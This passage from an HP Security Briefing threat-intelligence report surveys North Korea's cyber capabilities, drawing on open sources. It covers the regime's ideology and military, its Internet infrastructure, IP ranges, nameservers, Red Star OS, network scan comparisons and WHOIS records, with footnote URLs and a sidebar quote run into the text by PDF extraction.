recommendations..................................................................................................... 62 Appendix A WHOIS records ........................................................................................................................ 64 Appendix B Sites found on North Korean IP space.................................................................................... 72 Appendix C Analysis of DarkSeoul Dropper .............................................................................................. 74 Learn more at .......................................................................................................................................... 75 Episode 16 Thank you for subscribing to Episode 16 of the HP Security Briefing. In this edition we discuss the cyber landscape within the Democratic People Republic of Korea. Introduction The Democratic People s Republic of Korea (DPRK), known in the West as North Korea, is a unique country with a military-focused society and an unconventional technology infrastructure. While North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008. 1 However, due to North Korea s hostility toward other nations, its pursuit of nuclear weapons, and human rights violations against its own citizens, the United Nations and many Western entities have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of Korea (ROK), known in the West as South Korea, North Korea s primary target of conflict.6 Due to North Korea s global interactions, its cyber warfare capabilities are of particular interest to the U.S. According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S. Forces Korea, North Korean hackers have successfully penetrated U.S. defense networks more frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may have been overly optimistic about North Korea s abilities, it is clear that they should not be underestimated. Frank Cilluffo, co-director of the Cyber Center for National and Economic Security at George Washington University, testified before Congress that North Korea s cyber capability "poses an important 'wild card' threat, not only to the United States but also to the region and broader international stability "8 In an April 2014 testimony given to the House Armed Services Committee, General Curtis M. Scaparrotti noted that North Korea remains a significant threat to United States interests, the security of South Korea, and the international community due to its willingness to use force, its continued development and proliferation of nuclear weapon and long- range ballistic missile programs, and its abuse of its citizens human rights, as well as the legitimate interests of its neighbors and the international community. Scaparrotti stressed that While North Korea s massive conventional forces have been declining due to aging and lack of resources North Korea is emphasizing the development of its asymmetric capabilities. North http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list http://www.sanctionswiki.org/North_Korea https://www.fas.org/irp/offdocs/eo/eo-13551.pdf http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/ http://www.state.gov/strategictrade/overview/ http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3 Korea s asymmetric arsenal includes an active cyber warfare capability. 9 While one would expect the regime s digital infrastructure to also suffer from aging or lack of resources, these factors do not take away from their technical abilities to wage cyber warfare. While the U.S. views North Korea s cyber warfare program as the regime s foray into modern asymmetrical warfare, South Korea views the regime s cyber capabilities as a terroristic threat, -a build-up for an impending multifaceted attack. It is important to note that, to date, no such attack has occurred. According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer and Ph.D. the North Korean regime will first conduct a simultaneous and multifarious cyber offensive on the Republic of Korea s society and basic infrastructure, government agencies, and major military command centers while at the same time suppressing the ROK government and its domestic allies and supporters with nuclear weapons. 10 South Korea s view of North Korea as a terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does not recognize the regime as a legitimate state.11 South Korean reports also claim that North Korea s premier hacking unit, Unit 121, trails Russia and the U.S. as the world s third largest cyber unit. 12 While this claim may be exaggerated, in 2012, South Korean reports estimated North Korea s hacker forces at around 3000 personnel. In a July 2014 report from South Korea s Yonhap News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although these claims have not been corroborated, South Korea has taken the regime s cyber threats very seriously and is reportedly training 5000 personnel to defend against North Korean cyber attacks.14 Obtaining details on North Korea s cyber warfare capabilities is not an easy task. This paper will examine the known cyber capabilities of North Korea s regime and how the country maintains secrecy in these matters. Through information obtained via open source intelligence (OSINT), we will present what is known about North Korea s cyber warfare and supporting intelligence and psychological operations capabilities. Research roadblocks The following conditions proved to be research roadblocks when gathering intelligence regarding North Korea s cyber warfare capabilities: Much of the intelligence available on North Korea is dated and may not accurately reflect the regime s current capabilities. Much of the intelligence available on North Korea comes from U.S. or South Korean military or agency reports. These reports omit details that are likely classified, such as specific IP addresses and individual actor information. While South Korea is an ally of the United States, its reports on North Korean cyber activity potentially contain incomplete or biased information. Cultural factors that stem http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.atimes.com/atimes/Korea/GA04Dg01.html http://www.koreaherald.com/view.php?ud=20130321000980 http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ from a history of tension and conflict between the two nations may skew perception and make objectivity difficult. 15 16 North Korea s Internet infrastructure and the regime s strict control over its use ensures that there are no rogue actors and that all officially sanctioned actors exercise careful OPSEC and PERSEC practices in order to prevent inadvertent information leaks. In other words, there was no significant identifying information in the form of an OSINT trail left behind by the actors. This hinders collection of original, actionable threat intelligence and individual actor attribution. North Korea is well-isolated from the outside world, and its strong intelligence and psychological operations presence effectively creates confusion via counterintelligence and disinformation about the regime s capabilities.17 For this reason, any official reports emanating from North Korea must be taken with a grain of salt. This also hinders attempts to obtain original, actionable threat intelligence. Ideological and political context In order for Westerners to understand the North Korean mindset, it is necessary to examine the key components of North Korean political and ideological thought. It is also necessary to provide a brief explanation of how North Korea and South Korea view one another, in order to understand the basis for conflict between the two. Juche and Songun North Korea has two primary ideologies that provide context for the regime s motivations and activities: juche (ju-cheh) and songun (sun-goon). Juche is the official political ideology of North Korea. It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the DPRK. Juche emphasizes self-reliance, mastering revolution and reconstruction in one s own country, being independent of others, displaying one s strengths, defending oneself, and taking responsibility for solving one s own problems. North Korea s air-gapped intranet, described below, exemplifies this philosophy in the country s cyber infrastructure. The juche philosophy explains North Korea s disdain for outside cultural and political influence. Juche challenges North Koreans to contribute to the regime s chaju (ja-ju), a concept of national sovereignty and independence.18 The regime s greatest fear is internal dissent and resulting destabilization.19 20 In a June 2014 Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted there are also serious signs of public alienation and discontent. And I cannot rule out a public outbreak of such discontent in the near future. Of course, if it happens, it will have a serious impact on the government. 21 Despite North Korea s strong conviction in juche, the regime collaborates with and receives support from other nations. However, due to this deep-seated http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8 http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-stories- why-the-world-is-transfixed.html http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document, we will show that North Korea relies heavily on China for Internet access. North Korea also collaborates with China and Russia to train its cyber warriors and has longstanding political and military relationships with several nations. Songun is North Korea military first doctrine. Songun emphasizes the priority of the military in resource allocation and political and economic affairs. 23 This doctrine stems from the belief that the military is vital for preservation of chaju.24 Understanding songun mindset gives context for this potential threat actor s motivations. According to a 2013 Congressional report, the strategy established under former leader Kim Jong-Il focused on internal security, coercive diplomacy to compel acceptance of its diplomatic, economic and security interests, development of strategic military capabilities to deter external attack, and challenging South Korea and the U.S.-South Korean alliance."25 Songun is North Korea military first doctrine. North Korea s songun permeates the lives of all North Korean citizens. Article 58 of Songun emphasizes the priority of the military in the North Korean Constitution states that the nation should base itself on a resource allocation and nationwide defense system that includes all people.26 North Korea, with a political and economic population of 25 million, has an active duty force of 1.19 million personnel, the affairs. Understanding this fourth largest in the world. The country s reserve and paramilitary units comprise mindset gives context for a potential threat actor 7.7 million additional personnel.27 In other words, over a third of the country motivations. population serves in a military or paramilitary capacity. Some North Korean youth aged 7-13 are inducted into the Korean Children s Union. The Korean Children s Union is responsible for indoctrinating youths who pledge to build up their strength to later defend the regime.28 http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf http://www.defense.gov/news/newsarticle.aspx?id=119924 http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 Figure 1 A group of North Korean children being inducted into the Korean Children s Union.29 Figure 2 Members of the Korean Children s Union with the regime s leader Kim Jong Un.30 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 Children aged 14-16 can begin military training as members of the Young Red Guards, a paramilitary unit. Beginning at age 17, North Koreans are eligible to join the Reserve Military Training Unit.31 The Reserve Military Training Unit forms the core of North Korea s reserves and is typically assigned to the front or regional defense in wartime.32 The youngest age at which a citizen can be conscripted for active duty is unclear; reported ages range from 18-20. Youths can volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards, includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty units or the Reserve Military Training Unit.34 The regime has an impressive number of conventional weapons, considering the nation s small land area and population size.35 According to statistics released by CNN in 2014, North Korea ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery. The regime s sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious landing craft. Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport aircraft. While the limits of the regime s ballistic missile program are unknown, North Korea is thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40 shortages. Without aid from another entity, the regime does not have sufficient resources to maintain and sustain the majority of its weapons and associated personnel for rapid deployment or prolonged combat. Tension and change on the Korean Peninsula Tension between North and South Korea has continued well past the armistice meant to end the Korean War. Neither nation recognizes the other as a legitimate state. South Korea s constitution legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with North Korea being a part of South Korea. 41 North Korea also claims to be the sole government of the Korean Peninsula.42 Each country s claim of sovereignty and refusal to acknowledge the other as a legitimate state creates the condition for perpetual conflict. North Korea s negative sentiment towards the U.S. stems from two major factors: the U.S. South Korea military alliance and North Korea s perception that the U.S. is imperialistic and prone to exploitative capitalism. 43 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 http://www.globalsecurity.org/military/world/dprk/army.htm http://www.globalsecurity.org/military/world/dprk/army.htm https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=6&ved=0CFkQFjAF&url=http%3A%2F%2Fwww.child- soldiers.org%2Fuser_uploads%2Fpdf%2Fkoreademocraticpeoplesrepublicof2639438.pdf&ei=fcyIU_uqCMas0QXUk4DoCw&usg=AFQjCNGOnkQt5ZStqxfc tKrUY-5IWYSH0A&sig2=ivQLF6lHkSO8Yx9O9VlO4g&bvm=bv.67720277,d.d2k&cad=rja http://www.globalsecurity.org/military/world/dprk/army.htm http://www.globalfirepower.com/ http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/ http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html http://www.rfa.org/english/news/korea/electricity-10212013160033.html http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/ http://www.atimes.com/atimes/Korea/GA04Dg01.html http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?article=north_korea http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf In recent years, two primary factors have heavily influenced the current state of North Korea relations with South Korea and her allies: the rise of the regime s leader Kim Jong Un and the inauguration of South Korean president Park Guen Hye. Kim Jong Un officially rose to power in April 2012, following the death of his father Kim Jong Il in December 2011. While his age remained a mystery for quite some time, it was later revealed that he was born in January 1983, making him age 31 at present. This makes Kim Jong Un the world s youngest leader of an established nation.44 The young leader s rise to power brought about several changes in North Korea. First, Kim Jong Un s personal life is more public and more extravagant than that of his father. Unlike his father, the young Kim is often accompanied by his wife when making public appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is more totalitarian than his father. Following his rise to power, the regime reportedly expanded its labor camps, and more military resources were allocated to target those attempting to defect. Kim also executed his own uncle, a high-ranking official who did not share his ideals. These moves indicate the regime s priority to deter internal destabilization and dissent, which is perceived to be a greater threat than outside adversity. According to Phil Robertson, deputy Asia director at Human Rights Watch, The government now recognizes that the accounts of escaping North Koreans reveal Pyongyang s crimes so it is doing what it can to stop people from fleeing. Under Kim Jong Un s rule, the regime has stepped up its nuclear materials production, and the propaganda distributed by state media has become more menacing.49 The regime s response to perceived threats has also become more volatile. Christian Whiton, a former deputy envoy to North Korea, noted that following Kim Jong Un s rise to power, regime still acts in a very belligerent manner, but it seems less predictable, and more random. Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International Studies, assessed the situation thusly: Since [Kim Jong Un] took power he has purged almost all of his elder guardians ... and filled his surroundings with new faces. We are in a situation where we are learning about him a little bit every day through his unpredictable behavior and actions, which is why the current situation with North Korea is a lot more dangerous than before. 50 The regime recent reaction to an upcoming film supports these statements. The plot for the comedy film Interview follows two talk show hosts who are asked to assassinate Kim Jong Un. The regime even sent a complaint about the movie to the UN.51 In response to the film, a North Korean official stated, The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt the dignity of the supreme leadership. The official referred to the movie as "the most undisguised terrorism and a war action to deprive the service personnel and people of the DPRK of their mental mainstay and bring down its social system. The official also issued a threat: If the U.S. administration connives at and patronizes the screening of the film, it will invite a strong and merciless countermeasure. 52 This reaction demonstrates North Korea s priority of preserving the http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/ http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/ http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/ http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iid=article_sidebar regime s self-perceived dignity in the global arena and its intolerance of any disrespect directed at the Kim family. While tensions between North and South Korea have persisted since the Korean War, these tensions escalated following the 2013 inauguration of South Korea s current president, Park Geun Hye. Her platform, in her words, is as follows: North Korea must keep its agreements made with South Korea and the international community to establish a minimum level of trust, and second there must be assured consequences for actions that breach the peace. To ensure stability, trustpolitik should be applied consistently from issue to issue based on verifiable actions, and steps should not be taken for mere political expediency. 53 Shortly after Park s inauguration, North Korea denounced UN Security Council Resolution 2094, which is a resolution strengthening and expanding the scope of United Nations sanctions against the Democratic People s Republic of Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the country s banking relationships, in response to that country s third nuclear test on 12 February [2013]. 54 North Korea also responded strongly to joint U.S.-South Korea military exercises in March 2013, as is noted later in this paper.55 North Korean cyber capabilities and limitations North Korean infrastructure North Korea s cyber infrastructure is divided into two major parts: an outward-facing Internet connection and a regime-controlled intranet. North Korea s outward-facing Internet connection is only available to select individuals and is closely monitored for any activity that is deemed anti- regime. Individuals using the outward-facing Internet connection must be authorized. In 2013, Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North Korea are allowed Internet access with no firewalls.56 Common citizens are limited to using the Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North Korea. 57 According to Lee, Kwangmyong allows citizens access to the state media, information sources that are vetted by the government, and picked and pulled from the Internet and posted to their intranet site. 58 As of May 2013, North Korea had only one Internet caf 59 A 2003 report from the Office of the National Counterintelligence Executive stated that North Korea Internet was the only place in North Korea for the public to access the Internet and that foreigners were allowed to access the Internet from this caf .60 Whether citizens are allowed to access the Internet from this location is unknown. Star Joint Venture Co. is responsible for providing North Korea s Internet access. Star Joint Venture Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy http://www.un.org/News/Press/docs/2013/sc10934.doc.htm http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/ http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Korea Internet address allocation. Previously, Internet access was provided by a German satellite link via Korea Computer Center Europe or via direct connections with China Netcom, which was later merged into China Unicom. 62 By October 2010, North Korea had made its first known direct connection to the Internet, hosting an outward-facing Korean Central News Agency website accessible from the global Internet. 63 However, many of North Korea s globally accessible websites are hosted in other countries. In 2001, South Korean reports indicated that North Korea had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April 2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North Korea s backup Internet connection, in case the China Unicom connection fails.66 A March 2013 post on the blog rdns.im showed that North Korea no longer used the Intelsat connection. In the blog post, the author noted his method for proving that The Pirate Bay was not hosted in North Korea. While his analysis of The Pirate Bay s hosting is irrelevant to our research, he did detail that 175.45.177.0/24 always routes through AS4837, and AS131279. AS131279 is Star-KP, North Korea s Star Joint Venture Company, and AS4837 is China Unicom. The author concluded that [traffic] is ONLY routed through China Unicom and NOT through Intelsat. 67 In February 2014, North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial Zone, a jointly operated industrial complex just north of the border. However, this would likely require a major electrical and network infrastructure expansion.68 North Korea s electrical grid cannot support a large technological infrastructure.69 Electrical power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of electricity per day.70 http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/ http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ http://webcache.googleusercontent.com/search?q=cache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/ http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/ http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea Figure 3 North and South Korean power grid The photo above (Figure 3), from the International Space Station, shows North Korea s sparse power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red. Koryolink, the country s only cellular phone network,72 is tightly controlled by the regime.73 Cell phone data plans are not available to most users. Most cellular phones cannot access the Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G data network for cellular phones. Visiting reporter Jean H. Lee purportedly used this 3G network to post to both Twitter and Instagram. However, citizens are not generally allowed to use the 3G network.75 Email is also regulated by the regime. The first email provider in North Korea was Silibank. Silibank has servers in Pyongyong and Shenyang and is a joint venture with China. The North Korean Silibank homepage is silibank.net, and the Chinese homepage is silibank.com. In order to use the email service, users had to initially register, provide personal information, and pay a registration fee and monthly service fees.76 This registration information was current as of 2001. However, it is unknown whether the same process still applies. WHOIS records for silibank.net show that the site was registered anonymously via a Japanese registrar. This information can be found in Appendix A at the end of this paper. http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/ http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/ http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html Korea Computer Center (KCC) is North Korea s leading government research center for information technology. KCC has eleven regional information centers and eight development and production centers. Other countries with KCC branch offices include China, Syria, Germany, and United Arab Emirates. KCC has a vested interest in Linux research and is responsible for the development of North Korea s national operating system, Red Star OS, which is discussed in more detail below. KCC s other projects have included a proprietary search engine, a document writer, a game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition software, a video conferencing system, a distance education system, SilverStar Paduk software, HMS Player77, and the Samjiyon tablet. 78 In addition to research and development, KCC also monitors websites of foreign government and business entities and conducts technical reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and technologies. KCC has also been involved in clandestine information and cyber operations, serving as a command center.79 North Korea s proprietary operating system is Red Star OS. The development of this Linux-based operating system started in 2002. Red Star OS is only offered in the Korean language and features proprietary software including Naenara (a Firefox-based browser), as well as a text editor, email client, audio and video players, and games.80 Red Star OS s keyboard layouts include Korean, English, Russian, Chinese, and Japanese. Regime ideals extend to Red Star OS. The readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il regarding the importance of North Korea having its own Linux-based operating system that is compatible with Korean traditions. While prior versions of Red Star were KDE-based, version 3.0 mimics Apple s OS X.81 82 This could indicate the regime leader Kim Jong Un s preference for the OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain Red Star OS. However, the purchase of computers is heavily regulated.84 The OS s design suggests it was developed with means for the regime to monitor user activity.85 North Korea is known to use two IP ranges. 175.45.176.0/22 is North Korea s own IP block.86 Additionally, North Korea s Telecommunications Ministry is the registered user of China Unicom IP range 210.52.109.0/24.87 The country s only autonomous system (AS) number is AS131279, and its only peer is AS4837, the AS for China Unicom.88 North Korea s country code top-level domain (ccTLD) is .kp. In 2007, the .kp TLD was initially delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to http://www.naenara.com.kp/en/kcc/ http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://ashen-rus.livejournal.com/4300.html http://news.bbc.co.uk/2/hi/technology/8604912.stm http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/ http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3 http://rt.com/news/north-korea-cyber-weapon/ http://news.bbc.co.uk/2/hi/technology/8604912.stm http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/ http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/ maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the following nameservers and IP addresses:91 Nameserver IP Address ns1.kptc.kp 175.45.176.15 ns2.kptc.kp 175.45.176.16 ns3.kptc.kp 175.45.178.173 Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea. In light of this, North Korea has managed to develop both hardware and software and hosts an annual National Exhibition of Invention and New Technologies to promote its products.92 However, the regime has historically failed in its attempts at large-scale production of electronic components. The country s sparse electrical grid is one of the major obstacles hindering large- scale manufacturing.93 Additionally, the famine in the early 1990 s negatively impacted existing manufacturing facilities, and the regime simply does not have the capital to modernize those factories.94 A member of the World International Property Organization (WIPO), North Korea joined the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96 This is ironic since foreign-made electronic components are sometimes smuggled into North Korea for military use and for personal use by the regime s upper echelon. An analysis of developments in North Korean cyberspace since 2010 A comparison of a scan97 of North Korea s IP ranges in November 2010, just one month after North Korea made its first direct connection to the Internet, and a series of several scans we conducted in May 2014, shows that North Korea has made significant headway in establishing its Internet presence. In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall. Operating systems detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux. 175.45.176.14 returned Naenara as an html-title. Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were down. As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites, nameservers, databases, email, and voice over IP (VoIP). In November 2010, the 175.45.178.xx range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99 http://www.iana.org/reports/2011/kp-report-20110401.html http://www.iana.org/domains/root/db/kp.html http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/ http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.179.txt In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and several nameservers and mail servers were found in the 175.45.179.xx range. This comparison demonstrates that there has been some growth in DPRK Internet infrastructure over the past four years. However, it seemingly lags behind even most third world nations. The 2014 scans detected dated technology that is potentially susceptible to multiple vulnerabilities and consistently showed the same open ports and active devices on scanned hosts. It is not clear whether the regime failed to notice and react to the scanning or whether the regime allows these open ports and devices to be detected or spoofed to serve as a distraction or possible honeypot. Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix B at the end of this report. According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the official website of the Korean Central News Agency (KCNA)100; rodong.rep.kp, another North Korean news site101; and naenara.com.kp, North Korea s official web portal.102 Naenara translates my country The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star Joint Venture Company. The WHOIS Record can be found in Appendix A. http://dig.do/kcna.kp http://dig.do/rodong.rep.kp http://dig.do/naenara.com.kp Figure 4 A screenshot from the kcna.kp homepage.103 Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered by Star Joint Venture Company. The WHOIS Record for this site can be found in Appendix A. http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf Figure 5 A screenshot from the rodong.rep.kp homepage.104 The WHOIS information for Naenara.com.kp was not available. http://rodong.rep.kp/ko/ Figure 6 A screenshot of the Naenara.com.kp website.105 In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to malware.106 Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107 http://naenara.com.kp/en/ http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ Figure 8 Screenshot detailing why Chrome blocked the site108 It is difficult to say whether this incident is a case of North Korea serving malware or whether a third party took advantage of an improperly secured website. Several major North Korean websites are hosted outside of North Korea. The popular Uriminzokkiri.com website, whose name translates to our nation, is hosted in China. The administrative contact for the website is Kim Sejun, and the email address given as contact information is hyk1979@hotmail.com. The WHOIS Record for this site can be found in Appendix A. http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ Figure 9 A screenshot of the Uriminzokkiri website 109 The website for Kim Il Sung Open University, otherwise known as Our Nation School is also hosted in China. The WHOIS record for this site can be found in Appendix A. http://www.uriminzokkiri.com/ Figure 10 A screenshot of ournation-school.com. 110 North Korean cyber war and intelligence structure At the top of North Korea s military structure is the National Defense Commission (NDC). The NDC is also the highest branch of government and the regime s supreme policymaking body. 111 Along with the Central Committee of the Workers Party of Korea and the Cabinet, NDC is at the top of http://www.ournation-school.com/ 